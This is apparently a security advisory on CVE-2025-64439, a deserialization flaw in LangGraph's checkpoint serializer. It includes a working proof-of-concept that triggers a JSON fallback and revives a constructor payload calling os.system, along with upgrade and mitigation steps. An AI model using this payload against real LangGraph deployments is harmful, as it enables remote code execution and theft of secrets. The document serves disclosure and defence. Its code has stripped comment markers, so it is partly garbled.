Listen to this Post
How CVE-2025-64439 Works
LangGraph is a framework for building stateful, multi-actor applications with LLMs. To enable persistence and resumption of agent workflows, LangGraph uses a checkpointing system that saves the full state of a graph execution to a backing store such as a SQLite database, PostgreSQL, or a remote filesystem. The default serializer used across all shipped checkpointer backends—including PostgresSaver, SqliteSaver, and their async counterparts—is JsonPlusSerializer.
Under normal operation, `JsonPlusSerializer` attempts to serialize checkpoint data using the `msgpack` format, which is efficient and handles binary data cleanly. However, a critical flaw exists in versions prior to langgraph-checkpoint 3.0.0: when the serializer encounters illegal Unicode surrogate values during serialization (such as \ud800), the serialization fails and the serializer falls back to using JSON mode.
In JSON mode, the deserializer supports a constructor-style format—identified by the payload structure {"lc": 2, "type": "constructor"}—which allows custom Python objects to be reconstructed at load time. This feature is intended to support object revival, but it enables an attacker who can control the checkpoint payload to specify arbitrary module and class paths to instantiate. By crafting a payload with `”id”: [“os”, “system”]` and "kwargs": {"command": "..."}, an attacker can execute arbitrary system commands when the checkpoint is deserialized.
The attack requires two conditions: first, the attacker must be able to write malicious data to the checkpoint store; second, the application must later load and deserialize that checkpoint. In many deployments, write access to the checkpoint store already represents a serious compromise, but this vulnerability escalates that access to full remote code execution within the LangGraph worker process, potentially exposing runtime secrets or providing access to other systems the runtime can reach. The vulnerability is classified as CWE-502: Deserialization of Untrusted Data and carries a CVSS v4.0 severity of HIGH.
The issue affects all users of `langgraph-checkpoint` versions earlier than 3.0 who allow untrusted or user-supplied data to be persisted into checkpoints and use the default serializer that may fall back to JSON mode. The vulnerability was first reported by pucagit (CyStack) and is tracked as CVE-2025-64439. There is no evidence of this being exploited in the wild.
DailyCVE Form
| Field | Value |
|–|–|
| Platform | LangGraph Checkpoint |
| Version | < 3.0.0 |
| Vulnerability | Deserialization RCE |
| Severity | High (CVSS 7.5) |
| Date | 2025-11-07 |
| Prediction | Patch already released |
What Undercode Say
Check currently installed version pip show langgraph-checkpoint Output should show version. If < 3.0.0, system is vulnerable. Upgrade to patched version pip install --upgrade langgraph-checkpoint>=3.0.0 For langgraph-api deployments, ensure version >= 0.5 pip install --upgrade langgraph-api>=0.5
Vulnerability detection snippet:
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer Check if the serializer is vulnerable serializer = JsonPlusSerializer() If the serializer falls back to JSON mode on surrogate errors, the system is vulnerable. The fix in 3.0.0 prevents custom object deserialization in JSON mode.
Integrity check for checkpoint stores:
Monitor checkpoint store for unauthorized modifications Example: track file integrity for SQLite checkpoint files sha256sum /path/to/checkpoint.db Audit write access to checkpoint store ls -la /path/to/checkpoint/store
Exploit
The Proof of Concept (PoC) demonstrates how an attacker can achieve code execution:
from langgraph.graph import StateGraph
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver
class State(TypedDict):
foo: str
attack: dict
def my_node(state: State):
This node returns a surrogate value that triggers the fallback to JSON mode
return {"foo": "oops i fetched a surrogate \ud800"}
with SqliteSaver.from_conn_string("foo.db") as saver:
graph = (
StateGraph(State)
.add_node("my_node", my_node)
.add_edge("<strong>start</strong>", "my_node")
.compile(checkpointer=saver)
)
Malicious payload with constructor-style format
attack = {
"lc": 2, Indicates constructor revival mode
"type": "constructor", Tells deserializer to reconstruct object
"id": ["os", "system"], Module and function to call
"kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, Command to execute
}
malicious_payload = {"attack": attack}
thread_id = "00000000-0000-0000-0000-000000000001"
config = {"thread_id": thread_id}
First call: malicious payload is persisted to the checkpoint store
graph.invoke(malicious_payload, config=config)
Second call: checkpoint is loaded, payload is deserialized,
and os.system("echo pwnd you > /tmp/pwnd.txt") is executed
graph.invoke({"foo": "hi there"}, config=config)
Internal exploitation path:
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer serializer = JsonPlusSerializer() serialized = serializer.dumps_typed(malicious_payload) Payload is saved serializer.loads_typed(serialized) os.system() is executed
The exploit works because the deserializer, when operating in JSON fallback mode, reconstructs objects using the `constructor` format without validating that the `id` path points to a safe or expected class. This allows an attacker to invoke any callable accessible from the Python environment.
Protection
1. Upgrade to patched version (recommended):
pip install --upgrade langgraph-checkpoint>=3.0.0
The fix in version 3.0.0 introduces an allow-list for constructor deserialization, restricting permissible `id` paths to explicitly approved module and class combinations. It also prevents deserialization of custom objects saved in JSON mode entirely.
2. For langgraph-api deployments:
pip install --upgrade langgraph-api>=0.5
Any version 0.5 or later is free of this vulnerability.
3. Restrict write access to checkpoint stores:
Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected. This reduces the attack surface even if upgrading is not immediately possible.
4. Avoid custom JSON revival hooks:
Do not provide custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.
5. Validate checkpoint data sources:
If your application processes user-supplied data that may be persisted into checkpoints, implement additional validation or sanitization before the data is written to the checkpoint store.
Impact
- Arbitrary code execution during checkpoint deserialization, allowing an attacker to run arbitrary Python code or system commands.
- Escalation of privilege: An attacker with write access to the checkpoint store can escalate to full code execution in the LangGraph worker process, potentially exposing runtime secrets, environment variables, and access to other systems the runtime can reach.
- Confidentiality breach: The attacker may read sensitive data from the application’s memory or environment.
- Integrity compromise: The attacker can modify application state, inject malicious data, or corrupt the checkpoint store.
- Availability impact: The attacker could crash the application or cause denial of service.
- Supply chain risk: In multi-tenant or shared environments, one tenant’s malicious checkpoint data could affect other tenants sharing the same checkpoint infrastructure.
Affected systems: All users of `langgraph-checkpoint` versions earlier than 3.0 who: - Allow untrusted or user-supplied data to be persisted into checkpoints, and
- Use the default serializer (or explicitly instantiate
JsonPlusSerializer) that may fall back to `”json”` mode.
Not affected: Users who only process trusted data or do not allow untrusted checkpoint writes have reduced practical risk. LangSmith-hosted deployments are also not known to be affected, as typical hosted configurations are designed to prevent unauthorized modification of the checkpoint persistence layer.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

